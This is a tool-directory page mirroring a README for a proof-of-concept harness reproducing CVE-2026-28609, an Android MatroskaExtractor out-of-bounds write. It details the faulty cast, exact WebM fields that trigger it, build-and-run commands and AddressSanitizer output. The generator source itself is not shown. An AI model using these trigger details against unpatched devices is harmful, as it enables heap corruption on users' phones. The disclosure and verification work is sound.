Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-28609-matroska-pcm-oob — Proof-of-concept and instrumented reproduction harness for CVE-2026-28609, an out-of-bounds write in Android's MatroskaExtractor reachable via a crafted WebM file with a big-endian PCM audio track. | Kitploit
Tools/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Android SecurityMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringFuzzingMobile SecurityBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

Proof-of-concept and instrumented reproduction harness for CVE-2026-28609, an out-of-bounds write in Android's MatroskaExtractor reachable via a crafted WebM file with a big-endian PCM audio track.

View Repository
3h 5m agoNot yet reviewed

CVE-2026-28609 — Matroska PCM Out-of-Bounds Write

Proof-of-concept, instrumented reproduction harness, and technical write-up for CVE-2026-28609, an out-of-bounds write in Android's MatroskaExtractor reachable via a crafted WebM file with a big-endian PCM audio track.

At a glance

  • CVE ID: CVE-2026-28609
  • Vendor: Google / Android
  • Component: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • Issue: Out-of-bounds write caused by improper casting
  • CWE: CWE-787 / CWE-704
  • Affected: Android 14, 15, 16, 16 QPR2
  • Severity: High
  • Impact: Potential remote code execution
  • AOSP issue: A-485377744
  • Patch: Addressed in the September 2026 Android security update

1. Summary

MatroskaSource::read() in Android's MatroskaExtractor contains a PCM big-endian byte-swap loop that casts a frame data pointer to uint16_t * before adding frame->range_offset(), a byte offset. Because C pointer arithmetic on a uint16_t * scales the offset by sizeof(uint16_t) = 2, the resulting pointer is 2 * range_offset bytes past the start of the buffer, not range_offset bytes.

When range_offset > 0, the loop reads and writes one or more bytes past the end of the frame's MediaBuffer. On a device without ASan the over-read succeeds silently and the over-write corrupts the byte immediately following the buffer.

The vulnerable line:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

The upstream fix casts the pointer to uint8_t * before applying the offset:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. What this repository demonstrates

A working, reproducible trigger for CVE-2026-28609, verified under AddressSanitizer on a real Android 14 device. The repository includes:

  1. A Python generator that produces a WebM file that drives the extractor into the vulnerable branch with a non-zero range_offset.
  2. A C-ABI harness that loads the extractor plugin via dlopen, invokes GETEXTRACTORDEF, and reads frames from the file.
  3. A set of build scripts that compile an ASan-instrumented copy of the vulnerable AOSP extractor and link it against the device's media framework libraries.
  4. A build configuration with auto-discovery of include directories, so the build adapts to any AOSP checkout.

The result, on a vulnerable device:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. Trigger mechanics

The vulnerable branch requires all of the following to be true:

ConditionSource
Track is PCM

The first three are satisfied by declaring the track with codec ID A_PCM/INT/BIG and bit depth 16. The fourth is the interesting one.

range_offset is set to a non-zero value only in MatroskaSource::setWebmBlockCryptoInfo(), which is called from readBlock() under the condition:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

Therefore the trigger file must satisfy:

  • mIsWebm — the EBML DocType element must be "webm", not "matroska".
  • mEncrypted — the track must declare ContentEncodings with ContentEncodingType = 1 (Encryption) and a ContentEncKeyID.
  • Non-encrypted frames — each frame's first byte must be a signal byte whose low bit (0x1) is 0, indicating that the frame is unencrypted but content-encoded. This takes the else branch in setWebmBlockCryptoInfo, which calls set_range(1, len - 1).

After the strip, range_offset = 1 for every frame. The vulnerable branch then computes (uint16_t *)data + 1, which advances 2 bytes, and the loop reads/writes bytes [2, 2 + range_length) — one byte past the end of the 65-byte allocation (64-byte frame + 1-byte signal).

Byte layout of a triggering frame

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

The signal byte 0x00 is stripped by set_range(1, 64), leaving a 64-byte frame inside a 65-byte allocation. The vulnerable pointer arithmetic then writes at byte offset 2 through 65.


4. Repository layout

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

Upstream dependencies, cloned by the user before building:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. Prerequisites

  • Host: Linux or WSL2 with bash, python3, make
  • NDK: Android NDK r27+, set via $ANDROID_NDK_HOME
  • Device: Android 14, 15, 16, or 16-QPR2 with a security patch level before September 2026
  • ADB: adb on PATH (Linux, or adb.exe from WSL)
  • Disk: ~1.5 GB for the AOSP clones

6. Build

6.1 Clone upstream dependencies

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

If your AOSP tree uses the modular extractor layout (av/media/module/extractors/mkv/), no further adjustment is needed. If it uses the older layout (av/media/libstagefright/matroska/), see the build scripts for the MKV variable.

6.2 Pull device libraries

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 Configure

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

Set ANDROID_API to match your target device (e.g., 34 for Android 14).

6.4 Build and run

root@kitploit:~
./scripts/run.sh

The run.sh script executes four steps in order:

  1. build_foundation.sh — compiles 28 source files from av/media/module/foundation/ and av/media/module/metadatautils/ into plugin-asan/libstagefright_foundation_asan.a.
  2. build_plugin.sh — compiles MatroskaExtractor.cpp, mkvparser.cc, mkvreader.cc and links them with the archive into libmkvextractor_asan.so.
  3. build_harness.sh — compiles harness_c_abi with -shared-libsan.
  4. Pushes the plugin, harness, ASan runtime, and poc.mkv to and runs the harness.

The build scripts auto-discover missing include roots. When the compiler reports fatal error: 'X' file not found, the script searches the dependency trees, finds the parent directory of X, and appends it to include_dirs.conf. This is why include_dirs.conf grows during the first build. Once all headers are discovered, the file stabilizes and subsequent builds are deterministic.


7. Expected output

On a vulnerable device, the harness produces:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

Three numbers confirm the trigger:

  • WRITE of size 2 (or READ, when ASan catches the read half of data[i] = ntohs(data[i]) first)
  • 65-byte region — the frame allocation is 64 data bytes plus the 1-byte encryption signal
  • 0 bytes after — the access lands on the first byte past the allocation

8. What this PoC does not do

  • No RCE. The trigger ends at the ASan report. It demonstrates the write primitive but does not weaponize it into code execution.
  • No heap grooming. The 1-byte overflow is bounded by the encryption signal size. Larger overflows would require the partitioned encryption path in setWebmBlockCryptoInfo (signal byte 0x03), which is not exercised by this generator.
  • No persistence. No code is executed on the target beyond the harness process itself, which runs and exits.
  • No system modification. Nothing outside /data/local/tmp is touched. The plugin is loaded only by the harness process.

9. Verification

The generator embeds a verifier. Run it before pushing:

root@kitploit:~
python3 exploit/generator.py poc.mkv

Expect:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

Every required field is checked: DocType, TrackType, CodecID, BitDepth, Channels, ContentEncodingType, ContentEncodingScope, ContentEncAlgo, and ContentEncKeyID. If any field is wrong, the generator exits with FAIL and prints the specific mismatch.


10. Timeline

DateEvent
2026-03-02CVE reserved by Google
2026-09-08Public disclosure in Android Security Bulletin
2026-09-09Fix merged into LineageOS lineage-20.0 (change 497992)

11. References

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. Disclaimer

This repository is published strictly for defensive security research and vulnerability verification. It is intended for:

  • Security researchers validating the CVE against their own test devices
  • Android platform maintainers confirming that a patch is applied
  • Incident responders reproducing the trigger on quarantined hardware to determine exposure

Do not use this code on devices you do not own or have explicit written authorization to test. Running the harness on a device that is not yours, or using the generator to produce trigger files for distribution, may violate computer misuse laws in your jurisdiction and GitHub's Acceptable Use Policy.

The author does not condone the use of this research for malicious purposes. The trigger file produced by the generator is designed to crash a specific function under AddressSanitizer; it does not contain an executable payload, does not modify the system, and does not persist beyond the harness process.

No warranty is provided. The code is supplied as-is. The author accepts no liability for damage caused by misuse or by running the harness on production hardware.

If you are a vendor and believe this repository contains material that should be handled under coordinated disclosure, open an issue and the author will respond within 72 hours.


13. License

This project is released under the Apache-2.0 license. See LICENSE for the full text.

Copyright © 2026 — the CVE-2026-28609 PoC contributors.

scripts/include_dirs.conf.sample

Rename this to include_dirs.conf after cloning. This is the seed. The build scripts extend it during the first run.

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

Rename to build.conf after cloning.

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
Download Tool
mType == PCM
Big-endianAMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
16-bit samplesAMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
Frame has non-zero range_offsetSet by set_range(offset, ...)
/data/local/tmp
2026-09
This PoC developed and verified against a real device